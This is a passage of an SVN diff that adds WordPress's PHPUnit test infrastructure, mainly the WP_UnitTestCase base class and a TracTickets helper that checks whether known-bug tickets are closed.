+		parent::tearDown();
+	}
+
+	protected function make_user_by_role( $role ) {
+		return self::factory()->user->create( array(
+			'user_login' => $role,
+			'user_pass'  => $role,
+			'role'       => $role
+		));
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/includes/testcase.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/testcase.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/testcase.php	(revision 56912)
@@ -0,0 +1,944 @@
+<?php
+
+require_once dirname( __FILE__ ) . '/factory.php';
+require_once dirname( __FILE__ ) . '/trac.php';
+
+/**
+ * Defines a basic fixture to run multiple tests.
+ *
+ * Resets the state of the WordPress installation before and after every test.
+ *
+ * Includes utility functions and assertions useful for testing WordPress.
+ *
+ * All WordPress unit tests should inherit from this class.
+ */
+class WP_UnitTestCase extends PHPUnit_Framework_TestCase {
+
+	protected static $forced_tickets = array();
+	protected $expected_deprecated = array();
+	protected $caught_deprecated = array();
+	protected $expected_doing_it_wrong = array();
+	protected $caught_doing_it_wrong = array();
+
+	protected static $hooks_saved = array();
+	protected static $ignore_files;
+
+	function __isset( $name ) {
+		return 'factory' === $name;
+ 	}
+
+	function __get( $name ) {
+		if ( 'factory' === $name ) {
+			return self::factory();
+ 	    }
+ 	}
+
+	/**
+	 * Fetches the factory object for generating WordPress fixtures.
+	 *
+	 * @return WP_UnitTest_Factory The fixture factory.
+	 */
+	protected static function factory() {
+		static $factory = null;
+		if ( ! $factory ) {
+			$factory = new WP_UnitTest_Factory();
+		}
+		return $factory;
+	}
+
+	public static function get_called_class() {
+		if ( function_exists( 'get_called_class' ) ) {
+			return get_called_class();
+		}
+
+		// PHP 5.2 only
+		$backtrace = debug_backtrace();
+		// [0] WP_UnitTestCase::get_called_class()
+		// [1] WP_UnitTestCase::setUpBeforeClass()
+		if ( 'call_user_func' ===  $backtrace[2]['function'] ) {
+			return $backtrace[2]['args'][0][0];
+		}
+		return $backtrace[2]['class'];
+	}
+
+	public static function setUpBeforeClass() {
+		global $wpdb;
+
+		$wpdb->suppress_errors = false;
+		$wpdb->show_errors = true;
+		$wpdb->db_connect();
+		ini_set('display_errors', 1 );
+
+		parent::setUpBeforeClass();
+
+		$c = self::get_called_class();
+		if ( ! method_exists( $c, 'wpSetUpBeforeClass' ) ) {
+			self::commit_transaction();
+			return;
+		}
+
+		call_user_func( array( $c, 'wpSetUpBeforeClass' ), self::factory() );
+
+		self::commit_transaction();
+	}
+
+	public static function tearDownAfterClass() {
+		parent::tearDownAfterClass();
+
+		_delete_all_data();
+		self::flush_cache();
+
+		$c = self::get_called_class();
+		if ( ! method_exists( $c, 'wpTearDownAfterClass' ) ) {
+			self::commit_transaction();
+			return;
+		}
+
+		call_user_func( array( $c, 'wpTearDownAfterClass' ) );
+
+		self::commit_transaction();
+	}
+
+	function setUp() {
+		set_time_limit(0);
+
+		if ( ! self::$ignore_files ) {
+			self::$ignore_files = $this->scan_user_uploads();
+		}
+
+		if ( ! self::$hooks_saved ) {
+			$this->_backup_hooks();
+		}
+
+		global $wp_rewrite;
+
+		$this->clean_up_global_scope();
+
+		/*
+		 * When running core tests, ensure that post types and taxonomies
+		 * are reset for each test. We skip this step for non-core tests,
+		 * given the large number of plugins that register post types and
+		 * taxonomies at 'init'.
+		 */
+		if ( defined( 'WP_RUN_CORE_TESTS' ) && WP_RUN_CORE_TESTS ) {
+			$this->reset_post_types();
+			$this->reset_taxonomies();
+			$this->reset_post_statuses();
+			$this->reset__SERVER();
+
+			if ( $wp_rewrite->permalink_structure ) {
+				$this->set_permalink_structure( '' );
+			}
+		}
+
+		$this->start_transaction();
+		$this->expectDeprecated();
+		add_filter( 'wp_die_handler', array( $this, 'get_wp_die_handler' ) );
+	}
+
+	/**
+	 * Detect post-test failure conditions.
+	 *
+	 * We use this method to detect expectedDeprecated and expectedIncorrectUsage annotations.
+	 *
+	 * @since 4.2.0
+	 */
+	protected function assertPostConditions() {
+		$this->expectedDeprecated();
+	}
+
+	/**
+	 * After a test method runs, reset any state in WordPress the test method might have changed.
+	 */
+	function tearDown() {
+		global $wpdb, $wp_query, $wp;
+		$wpdb->query( 'ROLLBACK' );
+		if ( is_multisite() ) {
+			while ( ms_is_switched() ) {
+				restore_current_blog();
+			}
+		}
+		$wp_query = new WP_Query();
+		$wp = new WP();
+
+		// Reset globals related to the post loop and `setup_postdata()`.
+		$post_globals = array( 'post', 'id', 'authordata', 'currentday', 'currentmonth', 'page', 'pages', 'multipage', 'more', 'numpages' );
+		foreach ( $post_globals as $global ) {
+			$GLOBALS[ $global ] = null;
+		}
+
+		remove_theme_support( 'html5' );
+		remove_filter( 'query', array( $this, '_create_temporary_tables' ) );
+		remove_filter( 'query', array( $this, '_drop_temporary_tables' ) );
+		remove_filter( 'wp_die_handler', array( $this, 'get_wp_die_handler' ) );
+		$this->_restore_hooks();
+		wp_set_current_user( 0 );
+	}
+
+	function clean_up_global_scope() {
+		$_GET = array();
+		$_POST = array();
+		self::flush_cache();
+	}
+
+	/**
+	 * Allow tests to be skipped on some automated runs.
+	 *
+	 * For test runs on Travis for something other than trunk/master 
+	 * we want to skip tests that only need to run for master.
+	 */
+	public function skipOnAutomatedBranches() {
+		// gentenv can be disabled
+		if ( ! function_exists( 'getenv' ) ) {
+			return false;
+		}
+
+		// https://docs.travis-ci.com/user/environment-variables/#Default-Environment-Variables
+		$travis_branch       = getenv( 'TRAVIS_BRANCH' );
+		$travis_pull_request = getenv( 'TRAVIS_PULL_REQUEST' );
+
+		if ( false !== $travis_pull_request && 'master' !== $travis_branch ) {
+			$this->markTestSkipped( 'For automated test runs, this test is only run on trunk/master' );
+		}
+	}
+
+	/**
+	 * Allow tests to be skipped when Multisite is not in use.
+	 *
+	 * Use in conjunction with the ms-required group.
+	 */
+	public function skipWithoutMultisite() {
+		if ( ! is_multisite() ) {
+			$this->markTestSkipped( 'Test only runs on Multisite' );
+		}
+	}
+
+	/**
+	 * Allow tests to be skipped when Multisite is in use.
+	 *
+	 * Use in conjunction with the ms-excluded group.
+	 */
+	public function skipWithMultisite() {
+		if ( is_multisite() ) {
+			$this->markTestSkipped( 'Test does not run on Multisite' );
+		}
+	}
+
+	/**
+	 * Allow tests to be skipped if the HTTP request times out.
+	 *
+	 * @param array|WP_Error $response HTTP response.
+	 */
+	public function skipTestOnTimeout( $response ) {
+		if ( ! is_wp_error( $response ) ) {
+			return;
+		}
+		if ( 'connect() timed out!' === $response->get_error_message() ) {
+			$this->markTestSkipped( 'HTTP timeout' );
+		}
+
+		if ( false !== strpos( $response->get_error_message(), 'timed out after' ) ) {
+			$this->markTestSkipped( 'HTTP timeout' );
+		}
+
+		if ( 0 === strpos( $response->get_error_message(), 'stream_socket_client(): unable to connect to tcp://s.w.org:80' ) ) {
+			$this->markTestSkipped( 'HTTP timeout' );
+		}
+
+	}
+
+	/**
+	 * Unregister existing post types and register defaults.
+	 *
+	 * Run before each test in order to clean up the global scope, in case
+	 * a test forgets to unregister a post type on its own, or fails before
+	 * it has a chance to do so.
+	 */
+	protected function reset_post_types() {
+		foreach ( get_post_types( array(), 'objects' ) as $pt ) {
+			if ( empty( $pt->tests_no_auto_unregister ) ) {
+				_unregister_post_type( $pt->name );
+			}
+		}
+		create_initial_post_types();
+	}
+
+	/**
+	 * Unregister existing taxonomies and register defaults.
+	 *
+	 * Run before each test in order to clean up the global scope, in case
+	 * a test forgets to unregister a taxonomy on its own, or fails before
+	 * it has a chance to do so.
+	 */
+	protected function reset_taxonomies() {
+		foreach ( get_taxonomies() as $tax ) {
+			_unregister_taxonomy( $tax );
+		}
+		create_initial_taxonomies();
+	}
+
+	/**
+	 * Unregister non-built-in post statuses.
+	 */
+	protected function reset_post_statuses() {
+		foreach ( get_post_stati( array( '_builtin' => false ) ) as $post_status ) {
+			_unregister_post_status( $post_status );
+		}
+	}
+
+	/**
+	 * Reset `$_SERVER` variables
+	 */
+	protected function reset__SERVER() {
+		tests_reset__SERVER();
+	}
+
+	/**
+	 * Saves the action and filter-related globals so they can be restored later.
+	 *
+	 * Stores $merged_filters, $wp_actions, $wp_current_filter, and $wp_filter
+	 * on a class variable so they can be restored on tearDown() using _restore_hooks().
+	 *
+	 * @global array $merged_filters
+	 * @global array $wp_actions
+	 * @global array $wp_current_filter
+	 * @global array $wp_filter
+	 * @return void
+	 */
+	protected function _backup_hooks() {
+		$globals = array( 'wp_actions', 'wp_current_filter' );
+		foreach ( $globals as $key ) {
+			self::$hooks_saved[ $key ] = $GLOBALS[ $key ];
+		}
+		self::$hooks_saved['wp_filter'] = array();
+		foreach ( $GLOBALS['wp_filter'] as $hook_name => $hook_object ) {
+			self::$hooks_saved['wp_filter'][ $hook_name ] = clone $hook_object;
+		}
+	}
+
+	/**
+	 * Restores the hook-related globals to their state at setUp()
+	 * so that future tests aren't affected by hooks set during this last test.
+	 *
+	 * @global array $merged_filters
+	 * @global array $wp_actions
+	 * @global array $wp_current_filter
+	 * @global array $wp_filter
+	 * @return void
+	 */
+	protected function _restore_hooks() {
+		$globals = array( 'wp_actions', 'wp_current_filter' );
+		foreach ( $globals as $key ) {
+			if ( isset( self::$hooks_saved[ $key ] ) ) {
+				$GLOBALS[ $key ] = self::$hooks_saved[ $key ];
+			}
+		}
+		if ( isset( self::$hooks_saved['wp_filter'] ) ) {
+			$GLOBALS['wp_filter'] = array();
+			foreach ( self::$hooks_saved['wp_filter'] as $hook_name => $hook_object ) {
+				$GLOBALS['wp_filter'][ $hook_name ] = clone $hook_object;
+			}
+		}
+	}
+
+	static function flush_cache() {
+		global $wp_object_cache;
+		$wp_object_cache->group_ops = array();
+		$wp_object_cache->stats = array();
+		$wp_object_cache->memcache_debug = array();
+		$wp_object_cache->cache = array();
+		if ( method_exists( $wp_object_cache, '__remoteset' ) ) {
+			$wp_object_cache->__remoteset();
+		}
+		wp_cache_flush();
+		wp_cache_add_global_groups( array( 'users', 'userlogins', 'usermeta', 'user_meta', 'useremail', 'userslugs', 'site-transient', 'site-options', 'blog-lookup', 'blog-details', 'rss', 'global-posts', 'blog-id-cache', 'networks', 'sites', 'site-details' ) );
+		wp_cache_add_non_persistent_groups( array( 'comment', 'counts', 'plugins' ) );
+	}
+
+	function start_transaction() {
+		global $wpdb;
+		$wpdb->query( 'SET autocommit = 0;' );
+		$wpdb->query( 'START TRANSACTION;' );
+		add_filter( 'query', array( $this, '_create_temporary_tables' ) );
+		add_filter( 'query', array( $this, '_drop_temporary_tables' ) );
+	}
+
+	/**
+	 * Commit the queries in a transaction.
+	 *
+	 * @since 4.1.0
+	 */
+	public static function commit_transaction() {
+		global $wpdb;
+		$wpdb->query( 'COMMIT;' );
+	}
+
+	function _create_temporary_tables( $query ) {
+		if ( 'CREATE TABLE' === substr( trim( $query ), 0, 12 ) )
+			return substr_replace( trim( $query ), 'CREATE TEMPORARY TABLE', 0, 12 );
+		return $query;
+	}
+
+	function _drop_temporary_tables( $query ) {
+		if ( 'DROP TABLE' === substr( trim( $query ), 0, 10 ) )
+			return substr_replace( trim( $query ), 'DROP TEMPORARY TABLE', 0, 10 );
+		return $query;
+	}
+
+	function get_wp_die_handler( $handler ) {
+		return array( $this, 'wp_die_handler' );
+	}
+
+	function wp_die_handler( $message ) {
+		if ( ! is_scalar( $message ) ) {
+			$message = '0';
+		}
+
+		throw new WPDieException( $message );
+	}
+
+	function expectDeprecated() {
+		$annotations = $this->getAnnotations();
+		foreach ( array( 'class', 'method' ) as $depth ) {
+			if ( ! empty( $annotations[ $depth ]['expectedDeprecated'] ) )
+				$this->expected_deprecated = array_merge( $this->expected_deprecated, $annotations[ $depth ]['expectedDeprecated'] );
+			if ( ! empty( $annotations[ $depth ]['expectedIncorrectUsage'] ) )
+				$this->expected_doing_it_wrong = array_merge( $this->expected_doing_it_wrong, $annotations[ $depth ]['expectedIncorrectUsage'] );
+		}
+		add_action( 'deprecated_function_run', array( $this, 'deprecated_function_run' ) );
+		add_action( 'deprecated_argument_run', array( $this, 'deprecated_function_run' ) );
+		add_action( 'deprecated_hook_run', array( $this, 'deprecated_function_run' ) );
+		add_action( 'doing_it_wrong_run', array( $this, 'doing_it_wrong_run' ) );
+		add_action( 'deprecated_function_trigger_error', '__return_false' );
+		add_action( 'deprecated_argument_trigger_error', '__return_false' );
+		add_action( 'deprecated_hook_trigger_error',     '__return_false' );
+		add_action( 'doing_it_wrong_trigger_error',      '__return_false' );
+	}
+
+	function expectedDeprecated() {
+		$errors = array();
+
+		$not_caught_deprecated = array_diff( $this->expected_deprecated, $this->caught_deprecated );
+		foreach ( $not_caught_deprecated as $not_caught ) {
+			$errors[] = "Failed to assert that $not_caught triggered a deprecated notice";
+		}
+
+		$unexpected_deprecated = array_diff( $this->caught_deprecated, $this->expected_deprecated );
+		foreach ( $unexpected_deprecated as $unexpected ) {
+			$errors[] = "Unexpected deprecated notice for $unexpected";
+		}
+
+		$not_caught_doing_it_wrong = array_diff( $this->expected_doing_it_wrong, $this->caught_doing_it_wrong );
+		foreach ( $not_caught_doing_it_wrong as $not_caught ) {
+			$errors[] = "Failed to assert that $not_caught triggered an incorrect usage notice";
+		}
+
+		$unexpected_doing_it_wrong = array_diff( $this->caught_doing_it_wrong, $this->expected_doing_it_wrong );
+		foreach ( $unexpected_doing_it_wrong as $unexpected ) {
+			$errors[] = "Unexpected incorrect usage notice for $unexpected";
+		}
+
+		// Perform an assertion, but only if there are expected or unexpected deprecated calls or wrongdoings
+		if ( ! empty( $this->expected_deprecated ) ||
+			! empty( $this->expected_doing_it_wrong ) ||
+			! empty( $this->caught_deprecated ) ||
+			! empty( $this->caught_doing_it_wrong ) ) {
+			$this->assertEmpty( $errors, implode( "\n", $errors ) );
+		}
+	}
+
+	/**
+	 * Declare an expected `_deprecated_function()` or `_deprecated_argument()` call from within a test.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param string $deprecated Name of the function, method, class, or argument that is deprecated. Must match
+	 *                           first parameter of the `_deprecated_function()` or `_deprecated_argument()` call.
+	 */
+	public function setExpectedDeprecated( $deprecated ) {
+		array_push( $this->expected_deprecated, $deprecated );
+	}
+
+	/**
+	 * Declare an expected `_doing_it_wrong()` call from within a test.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param string $deprecated Name of the function, method, or class that appears in the first argument of the
+	 *                           source `_doing_it_wrong()` call.
+	 */
+	public function setExpectedIncorrectUsage( $doing_it_wrong ) {
+		array_push( $this->expected_doing_it_wrong, $doing_it_wrong );
+	}
+
+	/**
+	 * PHPUnit 6+ compatibility shim.
+	 *
+	 * @param mixed      $exception
+	 * @param string     $message
+	 * @param int|string $code
+	 */
+	public function setExpectedException( $exception, $message = '', $code = null ) {
+		if ( method_exists( 'PHPUnit_Framework_TestCase', 'setExpectedException' ) ) {
+			parent::setExpectedException( $exception, $message, $code );
+		} else {
+			$this->expectException( $exception );
+			if ( '' !== $message ) {
+				$this->expectExceptionMessage( $message );
+			}
+			if ( null !== $code ) {
+				$this->expectExceptionCode( $code );
+			}
+		}
+	}
+
+	function deprecated_function_run( $function ) {
+		if ( ! in_array( $function, $this->caught_deprecated ) )
+			$this->caught_deprecated[] = $function;
+	}
+
+	function doing_it_wrong_run( $function ) {
+		if ( ! in_array( $function, $this->caught_doing_it_wrong ) )
+			$this->caught_doing_it_wrong[] = $function;
+	}
+
+	function assertWPError( $actual, $message = '' ) {
+		$this->assertInstanceOf( 'WP_Error', $actual, $message );
+	}
+
+	function assertNotWPError( $actual, $message = '' ) {
+		if ( is_wp_error( $actual ) && '' === $message ) {
+			$message = $actual->get_error_message();
+		}
+		$this->assertNotInstanceOf( 'WP_Error', $actual, $message );
+	}
+
+	function assertIXRError( $actual, $message = '' ) {
+		$this->assertInstanceOf( 'IXR_Error', $actual, $message );
+	}
+
+	function assertNotIXRError( $actual, $message = '' ) {
+		if ( $actual instanceof IXR_Error && '' === $message ) {
+			$message = $actual->message;
+		}
+		$this->assertNotInstanceOf( 'IXR_Error', $actual, $message );
+	}
+
+	function assertEqualFields( $object, $fields ) {
+		foreach( $fields as $field_name => $field_value ) {
+			if ( $object->$field_name != $field_value ) {
+				$this->fail();
+			}
+		}
+	}
+
+	function assertDiscardWhitespace( $expected, $actual ) {
+		$this->assertEquals( preg_replace( '/\s*/', '', $expected ), preg_replace( '/\s*/', '', $actual ) );
+	}
+
+	function assertEqualSets( $expected, $actual ) {
+		sort( $expected );
+		sort( $actual );
+		$this->assertEquals( $expected, $actual );
+	}
+
+	function assertEqualSetsWithIndex( $expected, $actual ) {
+		ksort( $expected );
+		ksort( $actual );
+		$this->assertEquals( $expected, $actual );
+	}
+
+	/**
+	 * Asserts that the given variable is a multidimensional array, and that all arrays are non-empty.
+	 *
+	 * @param array $array
+	 */
+	function assertNonEmptyMultidimensionalArray( $array ) {
+		$this->assertTrue( is_array( $array ) );
+		$this->assertNotEmpty( $array );
+
+		foreach( $array as $sub_array ) {
+			$this->assertTrue( is_array( $sub_array ) );
+			$this->assertNotEmpty( $sub_array );
+		}
+	}
+
+	/**
+	 * Asserts that a condition is not false.
+	 *
+	 * @param bool   $condition
+	 * @param string $message
+	 *
+	 * @throws PHPUnit_Framework_AssertionFailedError
+	 */
+	public static function assertNotFalse( $condition, $message = '' ) {
+		self::assertThat( $condition, self::logicalNot( self::isFalse() ), $message );
+	}
+
+	/**
+	 * Modify WordPress's query internals as if a given URL has been requested.
+	 *
+	 * @param string $url The URL for the request.
+	 */
+	function go_to( $url ) {
+		// note: the WP and WP_Query classes like to silently fetch parameters
+		// from all over the place (globals, GET, etc), which makes it tricky
+		// to run them more than once without very carefully clearing everything
+		$_GET = $_POST = array();
+		foreach (array('query_string', 'id', 'postdata', 'authordata', 'day', 'currentmonth', 'page', 'pages', 'multipage', 'more', 'numpages', 'pagenow') as $v) {
+			if ( isset( $GLOBALS[$v] ) ) unset( $GLOBALS[$v] );
+		}
+		$parts = parse_url($url);
+		if (isset($parts['scheme'])) {
+			$req = isset( $parts['path'] ) ? $parts['path'] : '';
+			if (isset($parts['query'])) {
+				$req .= '?' . $parts['query'];
+				// parse the url query vars into $_GET
+				parse_str($parts['query'], $_GET);
+			}
+		} else {
+			$req = $url;
+		}
+		if ( ! isset( $parts['query'] ) ) {
+			$parts['query'] = '';
+		}
+
+		$_SERVER['REQUEST_URI'] = $req;
+		unset($_SERVER['PATH_INFO']);
+
+		self::flush_cache();
+		unset($GLOBALS['wp_query'], $GLOBALS['wp_the_query']);
+		$GLOBALS['wp_the_query'] = new WP_Query();
+		$GLOBALS['wp_query'] = $GLOBALS['wp_the_query'];
+
+		$public_query_vars  = $GLOBALS['wp']->public_query_vars;
+		$private_query_vars = $GLOBALS['wp']->private_query_vars;
+
+		$GLOBALS['wp'] = new WP();
+		$GLOBALS['wp']->public_query_vars  = $public_query_vars;
+		$GLOBALS['wp']->private_query_vars = $private_query_vars;
+
+		_cleanup_query_vars();
+
+		$GLOBALS['wp']->main($parts['query']);
+	}
+
+	protected function checkRequirements() {
+		parent::checkRequirements();
+
+		$annotations = $this->getAnnotations();
+
+		if ( ! empty( $annotations['group'] ) ) {
+			if ( in_array( 'ms-required', $annotations['group'], true ) ) {
+				$this->skipWithoutMultisite();
+			}
+			if ( in_array( 'ms-excluded', $annotations['group'], true ) ) {
+				$this->skipWithMultisite();
+			}
+		}
+
+		// Core tests no longer check against open Trac tickets, but others using WP_UnitTestCase may do so.
+		if ( defined( 'WP_RUN_CORE_TESTS' ) && WP_RUN_CORE_TESTS ) {
+			return;
+		}
+
+		if ( WP_TESTS_FORCE_KNOWN_BUGS )
+			return;
+		$tickets = PHPUnit_Util_Test::getTickets( get_class( $this ), $this->getName( false ) );
+		foreach ( $tickets as $ticket ) {
+			if ( is_numeric( $ticket ) ) {
+				$this->knownWPBug( $ticket );
+			} elseif ( 'Plugin' == substr( $ticket, 0, 6 ) ) {
+				$ticket = substr( $ticket, 6 );
+				if ( $ticket && is_numeric( $ticket ) )
+					$this->knownPluginBug( $ticket );
+			}
+		}
+	}
+
+	/**
+	 * Skips the current test if there is an open WordPress ticket with id $ticket_id
+	 */
+	function knownWPBug( $ticket_id ) {
+		if ( WP_TESTS_FORCE_KNOWN_BUGS || in_array( $ticket_id, self::$forced_tickets ) )
+			return;
+		if ( ! TracTickets::isTracTicketClosed( 'https://core.trac.wordpress.org', $ticket_id ) )
+			$this->markTestSkipped( sprintf( 'WordPress Ticket #%d is not fixed', $ticket_id ) );
+	}
+
+	/**
+	 * @deprecated No longer used since the unit test Trac was merged into Core's.
+	 */
+	function knownUTBug( $ticket_id ) {
+		return;
+	}
+
+	/**
+	 * Skips the current test if there is an open plugin ticket with id $ticket_id
+	 */
+	function knownPluginBug( $ticket_id ) {
+		if ( WP_TESTS_FORCE_KNOWN_BUGS || in_array( 'Plugin' . $ticket_id, self::$forced_tickets ) )
+			return;
+		if ( ! TracTickets::isTracTicketClosed( 'https://plugins.trac.wordpress.org', $ticket_id ) )
+			$this->markTestSkipped( sprintf( 'WordPress Plugin Ticket #%d is not fixed', $ticket_id ) );
+	}
+
+	public static function forceTicket( $ticket ) {
+		self::$forced_tickets[] = $ticket;
+	}
+
+	/**
+	 * Define constants after including files.
+	 */
+	function prepareTemplate( Text_Template $template ) {
+		$template->setVar( array( 'constants' => '' ) );
+		$template->setVar( array( 'wp_constants' => PHPUnit_Util_GlobalState::getConstantsAsString() ) );
+		parent::prepareTemplate( $template );
+	}
+
+	/**
+	 * Returns the name of a temporary file
+	 */
+	function temp_filename() {
+		$tmp_dir = '';
+		$dirs = array( 'TMP', 'TMPDIR', 'TEMP' );
+		foreach( $dirs as $dir )
+			if ( isset( $_ENV[$dir] ) && !empty( $_ENV[$dir] ) ) {
+				$tmp_dir = $dir;
+				break;
+			}
+		if ( empty( $tmp_dir ) ) {
+			$tmp_dir = '/tmp';
+		}
+		$tmp_dir = realpath( $tmp_dir );
+		return tempnam( $tmp_dir, 'wpunit' );
+	}
+
+	/**
+	 * Check each of the WP_Query is_* functions/properties against expected boolean value.
+	 *
+	 * Any properties that are listed by name as parameters will be expected to be true; all others are
+	 * expected to be false. For example, assertQueryTrue('is_single', 'is_feed') means is_single()
+	 * and is_feed() must be true and everything else must be false to pass.
+	 *
+	 * @param string $prop,... Any number of WP_Query properties that are expected to be true for the current request.
+	 */
+	function assertQueryTrue(/* ... */) {
+		global $wp_query;
+		$all = array(
+			'is_404',
+			'is_admin',
+			'is_archive',
+			'is_attachment',
+			'is_author',
+			'is_category',
+			'is_comment_feed',
+			'is_date',
+			'is_day',
+			'is_embed',
+			'is_feed',
+			'is_front_page',
+			'is_home',
+			'is_month',
+			'is_page',
+			'is_paged',
+			'is_post_type_archive',
+			'is_posts_page',
+			'is_preview',
+			'is_robots',
+			'is_search',
+			'is_single',
+			'is_singular',
+			'is_tag',
+			'is_tax',
+			'is_time',
+			'is_trackback',
+			'is_year',
+		);
+		$true = func_get_args();
+
+		foreach ( $true as $true_thing ) {
+			$this->assertContains( $true_thing, $all, "Unknown conditional: {$true_thing}." );
+		}
+
+		$passed = true;
+		$message = '';
+
+		foreach ( $all as $query_thing ) {
+			$result = is_callable( $query_thing ) ? call_user_func( $query_thing ) : $wp_query->$query_thing;
+
+			if ( in_array( $query_thing, $true ) ) {
+				if ( ! $result ) {
+					$message .= $query_thing . ' is false but is expected to be true. ' . PHP_EOL;
+					$passed = false;
+				}
+			} else if ( $result ) {
+				$message .= $query_thing . ' is true but is expected to be false. ' . PHP_EOL;
+				$passed = false;
+			}
+		}
+
+		if ( ! $passed ) {
+			$this->fail( $message );
+		}
+	}
+
+	function unlink( $file ) {
+		$exists = is_file( $file );
+		if ( $exists && ! in_array( $file, self::$ignore_files ) ) {
+			//error_log( $file );
+			unlink( $file );
+		} elseif ( ! $exists ) {
+			$this->fail( "Trying to delete a file that doesn't exist: $file" );
+		}
+	}
+
+	function rmdir( $path ) {
+		$files = $this->files_in_dir( $path );
+		foreach ( $files as $file ) {
+			if ( ! in_array( $file, self::$ignore_files ) ) {
+				$this->unlink( $file );
+			}
+		}
+	}
+
+	function remove_added_uploads() {
+		// Remove all uploads.
+		$uploads = wp_upload_dir();
+		$this->rmdir( $uploads['basedir'] );
+	}
+
+	function files_in_dir( $dir ) {
+		$files = array();
+
+		$iterator = new RecursiveDirectoryIterator( $dir );
+		$objects = new RecursiveIteratorIterator( $iterator );
+		foreach ( $objects as $name => $object ) {
+			if ( is_file( $name ) ) {
+				$files[] = $name;
+			}
+		}
+
+		return $files;
+	}
+
+	function scan_user_uploads() {
+		static $files = array();
+		if ( ! empty( $files ) ) {
+			return $files;
+		}
+
+		$uploads = wp_upload_dir();
+		$files = $this->files_in_dir( $uploads['basedir'] );
+		return $files;
+	}
+
+	function delete_folders( $path ) {
+		$this->matched_dirs = array();
+		if ( ! is_dir( $path ) ) {
+			return;
+		}
+
+		$this->scandir( $path );
+		foreach ( array_reverse( $this->matched_dirs ) as $dir ) {
+			rmdir( $dir );
+		}
+		rmdir( $path );
+	}
+
+	function scandir( $dir ) {
+		foreach ( scandir( $dir ) as $path ) {
+			if ( 0 !== strpos( $path, '.' ) && is_dir( $dir . '/' . $path ) ) {
+				$this->matched_dirs[] = $dir . '/' . $path;
+				$this->scandir( $dir . '/' . $path );
+			}
+		}
+	}
+
+	/**
+	 * Helper to Convert a microtime string into a float
+	 */
+	protected function _microtime_to_float($microtime ){
+		$time_array = explode( ' ', $microtime );
+		return array_sum( $time_array );
+	}
+
+	/**
+	 * Multisite-agnostic way to delete a user from the database.
+	 *
+	 * @since 4.3.0
+	 */
+	public static function delete_user( $user_id ) {
+		if ( is_multisite() ) {
+			return wpmu_delete_user( $user_id );
+		} else {
+			return wp_delete_user( $user_id );
+		}
+	}
+
+	/**
+	 * Utility method that resets permalinks and flushes rewrites.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @global WP_Rewrite $wp_rewrite
+	 *
+	 * @param string $structure Optional. Permalink structure to set. Default empty.
+	 */
+	public function set_permalink_structure( $structure = '' ) {
+		global $wp_rewrite;
+
+		$wp_rewrite->init();
+		$wp_rewrite->set_permalink_structure( $structure );
+		$wp_rewrite->flush_rules();
+	}
+
+	function _make_attachment($upload, $parent_post_id = 0) {
+		$type = '';
+		if ( !empty($upload['type']) ) {
+			$type = $upload['type'];
+		} else {
+			$mime = wp_check_filetype( $upload['file'] );
+			if ($mime)
+				$type = $mime['type'];
+		}
+
+		$attachment = array(
+			'post_title' => basename( $upload['file'] ),
+			'post_content' => '',
+			'post_type' => 'attachment',
+			'post_parent' => $parent_post_id,
+			'post_mime_type' => $type,
+			'guid' => $upload[ 'url' ],
+		);
+
+		// Save the data
+		$id = wp_insert_attachment( $attachment, $upload[ 'file' ], $parent_post_id );
+		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $upload['file'] ) );
+		return $id;
+	}
+
+	/**
+	 * There's no way to change post_modified through WP functions.
+	 */
+	protected function update_post_modified( $post_id, $date ) {
+		global $wpdb;
+		return $wpdb->update(
+			$wpdb->posts,
+			array(
+				'post_modified' => $date,
+				'post_modified_gmt' => $date,
+			),
+			array(
+				'ID' => $post_id,
+			),
+			array(
+				'%s',
+				'%s',
+			),
+			array(
+				'%d',
+			)
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/trac.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/trac.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/trac.php	(revision 56912)
@@ -0,0 +1,58 @@
+<?php
+
+class TracTickets {
+	/**
+	 * When open tickets for a Trac installation is requested, the results are stored here.
+	 *
+	 * @var array
+	 */
+	protected static $trac_ticket_cache = array();
+
+	/**
+	 * Checks if track ticket #$ticket_id is resolved
+	 *
+	 * @return bool|null true if the ticket is resolved, false if not resolved, null on error
+	 */
+	public static function isTracTicketClosed( $trac_url, $ticket_id ) {
+		if ( ! extension_loaded( 'openssl' ) ) {
+			$trac_url = preg_replace( "/^https:/", "http:", $trac_url );
+		}
+
+		if ( ! isset( self::$trac_ticket_cache[ $trac_url ] ) ) {
+			// In case you're running the tests offline, keep track of open tickets.
+			$file = DIR_TESTDATA . '/.trac-ticket-cache.' . str_replace( array( 'http://', 'https://', '/' ), array( '', '', '-' ), rtrim( $trac_url, '/' ) );
+			$tickets = @file_get_contents( $trac_url . '/query?status=%21closed&format=csv&col=id' );
+			// Check if our HTTP request failed.
+			if ( false === $tickets ) {
+				if ( file_exists( $file ) ) {
+					register_shutdown_function( array( 'TracTickets', 'usingLocalCache' ) );
+					$tickets = file_get_contents( $file );
+				} else {
+					register_shutdown_function( array( 'TracTickets', 'forcingKnownBugs' ) );
+					self::$trac_ticket_cache[ $trac_url ] = array();
+					return true; // Assume the ticket is closed, which means it gets run.
+				}
+			} else {
+				$tickets = substr( $tickets, 2 ); // remove 'id' column header
+				$tickets = trim( $tickets );
+				file_put_contents( $file, $tickets );
+			}
+			$tickets = explode( "\r\n", $tickets );
+			self::$trac_ticket_cache[ $trac_url ] = $tickets;
+		}
+
+		return ! in_array( $ticket_id, self::$trac_ticket_cache[ $trac_url ] );
+	}
+
+	public static function usingLocalCache() {
+		echo PHP_EOL . "\x1b[0m\x1b[30;43m\x1b[2K";
+		echo 'INFO: Trac was inaccessible, so a local ticket status cache was used.' . PHP_EOL;
+		echo "\x1b[0m\x1b[2K";
+	}
+
+	public static function forcingKnownBugs() {
+		echo PHP_EOL . "\x1b[0m\x1b[37;41m\x1b[2K";
+		echo "ERROR: Trac was inaccessible, so known bugs weren't able to be skipped." . PHP_EOL;
+		echo "\x1b[0m\x1b[2K";
+	}
+}
Index: /tags/5.0.20/tests/phpunit/includes/utils.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/utils.php	(revision 56912)
